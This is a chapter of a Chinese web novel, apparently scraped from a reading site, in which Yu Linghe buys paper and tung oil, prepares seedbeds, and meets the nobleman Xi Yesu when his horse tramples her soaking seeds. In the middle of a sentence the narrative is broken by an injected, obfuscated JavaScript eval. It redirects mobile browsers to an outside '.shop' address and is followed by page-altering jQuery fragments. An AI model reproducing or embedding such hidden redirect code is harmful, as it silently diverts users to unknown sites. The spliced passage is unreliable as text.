默认冷灰
24号文字
方正启体

7. 你是城楼底下那只羊

作者:黎脉本书字数:K更新时间:
    次日清晨,乔家院外,乔运清瞠目结舌地和这头年轻的驴对视。虞灵和提着槐米坐在上头,好笑地看着这一幕,向她解释了宝器的由来。


    “宝器,它竟然有名字。”乔运清摸了摸它,语气带着几分不可思议,“哎呀,我们家驴都没有,我也给它取一个。就叫老驴好了。”


    “老驴,这名字比宝器还随意。”


    两人笑笑闹闹地一同进城,宝器和老驴在官道上并肩走着。


    虞灵和摸了摸宝器的脖颈,转头对乔运清说:“昨日它俩还见了面呢,就在菜市那个驴棚里。宝器有些害怕老驴,躁动得很,现在倒是好些了。”


    “驴生性如此,新驴多的是会踢咬的,我们家老驴之前也那样。宝器比一般的强多了。”


    “这么说来,宝器真是一头好驴。”说着,虞灵和摸了摸驴脑袋,“到了染坊,多给你些豆子。”


    宝器转了转耳朵,蹄声更响了。


    和乔运清在城门口分别,虞灵和将最后一篮槐米送进染坊,去买了些应季的菜种和日常用物。想到自己漏风的窗户,她让宝器停在一家杂纸铺。


    铺面不大,门口挂着一面布幌子。站在门外便能闻到一股竹浆和桐油味。柜台后站着一个正埋头算账的中年男子,指尖快速地拨着算盘,算珠劈啪作响。


    虞灵和的出现投下了一小片阴影,男子抬起头,停下手中的活,“客官要看纸?”


    她点头走进去,看着铺子里整齐码着的各式各样的纸,伸手摸过其中一沓,触感粗糙。


    “掌柜,糊窗户用哪种纸?窗纸破了,我想买几张回去补补。”


    “你手底下的麻纸便是,五文一张。若是觉着贵了,右边那沓三文钱一张,要薄些。多买送浆糊。”


    虞灵和用两只手分别摸了摸这两样纸,觉着差别不大,拿了几张三文钱的纸,搁在柜台上,摸出钱袋。


    “掌柜,我就要这些。”


    掌柜数着纸张,问道:“客官家中可有桐油?”


    虞灵和摇头,“糊纸用它吗?”


    “你回去拿浆糊糊上了,若不刷桐油,过几日准后悔。”掌柜摆着手,语气笃定,“这天气没个准儿,不出半月就要下雨。寻常麻纸一沾雨就软了,坏了又得补。”


    “刷上桐油就能防水?”


    “自然,麻纸刷了桐油才经得住雨。这一小罐十二文钱。”掌柜从身后的木架上拿了个小陶罐下来,往柜台上一搁,打开盖子。虞灵和方才闻到的味道更浓重了。


    见她盯着油罐没开口,掌柜又道:“若图省事,我这也有现成的油纸,十文一张。客官要哪种?”


    虞灵和盘算着,这么一看,还是买桐油更划算。“我买桐油。”


    “得嘞。五张麻纸和一罐桐油,客官付二十七文便好。”


    掌柜利索地把麻纸包好,给陶罐封了口,拿出一小包东西,“这是干浆糊,回去拿水一冲一调,便可糊纸。”


    虞灵和一一记下,“多谢掌柜。”


    从铺子出来,阳光直直晒在她身上。她想着掌柜方才的话,才发觉这几日都没下雨,该趁着天好,把地挖出来。不过下雨之后山上应该会有蘑菇,到时候又能卖钱了。


    除掉这两日的开销,加上今日槐米收入,虞灵和身上还有两贯又一百二十文。能撑一些时日。


    回到村里,虞灵和把东西放进屋,在角落找了个破口的陶碗,放进驴背上的褡裢里,带着农具和宝器一起去了地里。


    她把宝器拴在那颗槐树下,放了些吃食,“吃吧,我去那边干活。”


    在野塘边用陶碗舀了水,按照姥姥教过的方法,将莴苣种子倒进去泡着,把浮在水面的劣种撇去。听卖种子的大娘说,莴苣和莱菔是能最快回本的菜,七月种,十月就能卖。


    野塘近处的地较为湿润,虞灵和先在此处选了一小块地开出来,作为育苗的畦。用锄头翻动土壤,在四周起垄。


    她转头去她选好的地里除草。杂草太多太深,有的还开了细碎的花。徒手拔费劲,她直接用锄头连根挖起,抓着草杆用力把根上的土甩落,扔在一旁。


    日头足,这些草拔出后,在太阳下山之前便能晒个半干。待明日干透,便可烧掉做草木灰。


    挖出一片地,虞灵和出了一身汗,掌心发红,挥锄头的动作渐渐有些吃力,回到宝器那边坐在树下啃炊饼。


    正是午时,吃完饼子有些犯困,正好树冠遮了她的身子,让她能在此小憩。宝器安静地陪在一旁,不时低头啃地上的青草,草汁的清香萦绕在她鼻尖。


    意识模糊间,她隐约听到了人声。


    “松青,欸,往哪走?”


    随着越来越近的“哒哒”的马蹄声,虞灵和睁开眼,看到眼前的一幕,火气上涌。


    一个白衣男子骑着马,正经过野塘,那马在塘边畅快地饮水,后蹄踩在她泡种子的陶碗里,碗被踩得歪斜。


    “你在做什么?”虞灵和爬起来,站在树下对着那人大喊。马和人同时回头,那人不明所以地看着她。


    她怒气冲冲地跑过去,连额前的发丝都飞起来,指着马蹄下的碗,“你……”


    待走近了看清男子的脸,她有些错愕。这人竟是那绯衣官,没了那身官服,气色甚至更好些。他脸上也有些诧异,一错不错地看着她,仿佛在辨认什么。


    那也不能搞破坏!


    “你的马踩倒了我的碗,这里面是我泡的种子。快让它起开!”


    男子低头往后一看,果然如此,连忙拉住缰绳让它后退两步,“对不住,我不是故意的,马不懂事。”


    “马不懂事你也不懂事。”得了道歉,虞灵和的语气仍不算好。蹲下来查看陶碗,幸好没踩碎,但有不少种子顺着水翻了出来,她用手捧着装回去。


    “是是是,我也不懂事。”男子下了马,不知所措地站在她身旁,“我来吧。毕竟是我没看住马才造成的。”


    “干得明白吗你?”她没好气地嘲讽了一句,把捧不起来的种子一颗一颗捡起。


    男子半跪下来,细白的手指伸过来,和她一起捡,指尖沾了一点泥,却没收回。她的目光落在他手上,指根的玉扳指和那日一样,而他仿若无所觉。


    “没想到再遇见是这番情境,是我唐突了。”他语气带着几分无奈。


    闻言,虞灵和抬头,“你记得我?“


    两人此刻的距离近得她能看清他脸上细小的绒毛。


    他唇角勾起了一个弧度,垂着眸子,睫毛投下细密的阴影,“你是城楼底下那只羊。”


    “什么羊?”虞灵和一脸不解地看着他。


    城楼?难道他看见她捏头发的那一幕了?从城楼上看,影子确实变成了羊。


    所以那日她没看错。


    “你对我摇扇子。”


    那动作很像钟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481946|201795||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    誉会做的事。


    他的动作一僵,似是没想到她如此直白,耳垂不自觉红了,“是吗?我不记得了。”


    虞灵和不信,但没拆穿,她更好奇另一件事。“还有呢?只有那一次?”


    这下轮到男子困惑了,“还有?”


    他茫然的模样不似作假。可他穿官服骑马那日为何那样漠然?和现在简直是两个人。难道他确实没看见她?


    见虞灵和低着头不说话,他边捡边开口:“方才忘了说,我叫席也玊。今日踩了你的种子,明日我带些来赔你可好?这是什么种子?”


    “野肃?”虞灵和的思绪被打断,下意识喃喃重复了一遍。好生奇怪的名字,原著没提过这号人物。


    席也玊眼角带上了笑意,耐心地解释:“也许的也,玊,是玉字点歪了的玊。”


    “原来是玊,有瑕之玉。”


    话落,虞灵和才反应过来,人家刚介绍完自己,她就评价有瑕,应当不太好,“抱歉,我不是……”


    席也玊倒没介意,微挑了下眉,有些惊讶,“你识字?这字较为罕用。”


    “嗯。”上一世,她偶然识得的。


    虞灵和一愣。她竟然开始用“上一世”这种词来替代现实世界的生活了。她对这里的适应度超出了自己的预期。


    她很想问为什么他爹娘给他取这种寓意不甚美好的名,忽然想到了自己的父母,话到嘴边又咽了回去。这问题太私密了,也足够勾起不好的记忆。


    “我叫虞灵和。”捡好最后一颗,重新装上水,她站起来,指着自己开垦的那块地,“明日你可以去那里找我,那是我的地。带上莴苣种子,你说了赔给我的。”


    “虞、灵、和。”


    她回过头,看到他笑意加深的模样,摸不着头脑,“怎么了吗?”


    席也玊轻笑一声,仰了下脖子,似在回忆什么。“原来你就是那个抱藕的小娘子。”


    虞灵和彻底愣住。难怪晏兰台不想在京城看见她,还说什么满城皆知。这,也太声名远扬了。


    “别让你的马再踩了,我去干活。”说着就往地里走,脚步飞快。


    席也玊应了一声,低声训斥了松青,把它拴好,转头走到她地里。


    一身白衣锦袍走在田间地头,鞋边很快就沾了泥土,有种说不出的违和,他自己倒是自得。


    她锄地的动作没停,甩着草根上的土,随口问了一句:“你为何来此?”


    他指了指山上,“我以前来过这儿。山上有野柿子。”


    “来摘柿子?你是什么人?”看他的官服也不像个闲官,怎么还待在这不走?


    席也玊摇头,声音温和,“这时节柿子还未熟。我就是个闲人,平日无事。只是想起来有这么个地方,来看看树还在不在。”说话间,他伸手拔了一颗半人高的草,草根扎得深,用了几分力才拔出来,手心被勒红了,悄悄搓了搓手。


    他似乎并不知道她看见过他的官服模样,语气自然得她都快要信以为真。


    虞灵和瞥了一眼他膝盖处,那里有方才半跪在地上沾的泥,他不甚在意,还在随手拔草。她没打算赶人,他乐意拔就拔吧,她还能少挖些。


    不过,初见这人时,他分明是个纨绔,再见成了清冷高官,如今又是个正正经经的公子。三次相遇,次次不同。她越来越好奇了。


    这人莫不是属洋葱的?扒开看看。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)